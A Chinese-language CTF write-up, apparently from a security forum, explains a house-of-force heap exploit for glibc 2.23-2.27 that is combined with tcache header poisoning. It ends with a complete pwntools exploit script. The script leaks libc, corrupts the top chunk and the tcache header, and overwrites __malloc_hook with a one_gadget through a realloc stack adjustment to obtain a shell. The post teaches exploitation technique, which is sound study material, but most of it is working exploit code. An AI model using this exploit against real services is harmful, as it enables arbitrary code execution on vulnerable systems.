house of force进阶利用--结合tcache头污染
sn0w 发表于 广东 技术文章 566浏览 · 2024-09-21 10:09

前情提要

常规使用的house of force 是通过泄露了堆和libc的地址来修改hook函数导致的shell

而无法泄露堆地址的情况,按常规的思路就打不了了,这时候就出现了house of force 进阶搭配tcache 头污染,可以避免部分情况去走io链

适用版本

libc 2.23-2.27

原理描述

泄露libc地址后,通过改top chunk为-1,然后申请负堆块,把堆块也就是top chunk控到tcache头开始的位置,然后污染tcache头 植入hook函数的地址 在取出来达到任意写的目的

例题分析

静态分析

add

free

这里free的功能实际上是不存在的,这看上去是加密的一个过程

show

edit

输入多少字节就读入多少字节,这里明显存在一个堆溢出

思路

由于没有free函数 我们可以用house of orange 前期的思路去泄露libc地址,然后通过堆溢出改写top chunk为-1,把堆地址控到tcache头,然后污染,提取出hook函数的地址 并进行修改,改为ogg,由于题目条件限制,这里ogg是打不通的,需要用realloc调栈帧

动态分析

泄露libc地址
add(0x18)#0
edit(0,b'a'*0x18+p64(0xd91))
add(0x1008) #old topchunk to unsortedbin  1
add(0xd60)#2
show(2)
libc_addr=l64()-0x3ebca0
libc.address=libc_addr
malloc_hook=libc.sym['__malloc_hook']-8
realloc_hook=libc.sym['realloc']+2
log_addr(libc_addr)
libc.address=libc_addr
house of force部分
edit(1,b'\x00'*0x1008+p64(0xffffffffffffffff))

这里算是关键,我开始就是卡在照着heap显示的堆修改的top chunk,其实应该是修改当时申请的0x1008这个堆

tcache头污染
add(-0x22010)#3
add(0x100)#4

payload=b'\x07'*0x30+p64(malloc_hook)*0x10+b'\n'
edit(4,payload)

污染前:

污染后:

修改hook地址

成功修改,拿到shell

这里展示一下调栈帧打ogg的过程

要满足的条件:

要满足三个条件:

  1. 地址rsp+0x50要可写
  2. rsp & 0xf ==0
  3. rcx == NULL

修改前:

可以看到rsp不满足条件2,此时是realloc的情况,而为了让它满足我们只需要让rsp上调0x8就可以了 我们把realloc往上调整一个push

也就是realloc+2

修改后:

exp如下:

#!/usr/bin/python3
import random
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./pwn"
mx = process(filename)
#mx = remote("node5.anna.nssctf.cn",24071)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def add(size):
    sla("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b'1')
    sla(":",str(size))
def edit(idx,payload):
    sla(":",b'4')
    sla(b":",str(idx))
    sla(b"size\n",str(len(payload)))
    s(payload)
def show(idx):
    sla(":",b'3')
    sla(b":",str(idx))
    #sa(b":",payload)
dbg()
add(0x18)#0
edit(0,b'a'*0x18+p64(0xd91))
add(0x1008) #old topchunk to unsortedbin  1

add(0xd60)#2

show(2)
libc_addr=l64()-0x3ebca0
libc.address=libc_addr
malloc_hook=libc.sym['__malloc_hook']-8
realloc_hook=libc.sym['realloc']+2
log_addr(libc_addr)
libc.address=libc_addr

edit(1,b'\x00'*0x1008+p64(0xffffffffffffffff))
add(-0x22010)#3
add(0x100)#4
payload=b'\x07'*0x30+p64(malloc_hook)*0x10+b'\n'
edit(4,payload)
add(0x100)#5
#edit()
ogg=libc_addr+0x4f2c5
#0x4f2be 0x4f2c5 0x4f322 0x10a38c
edit(5,p64(ogg)+p64(realloc_hook))
#dbg()
pause()
sla("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b'1')
sla(":",b'0x100')
inter()
0 条评论
某人
表情
可输入 255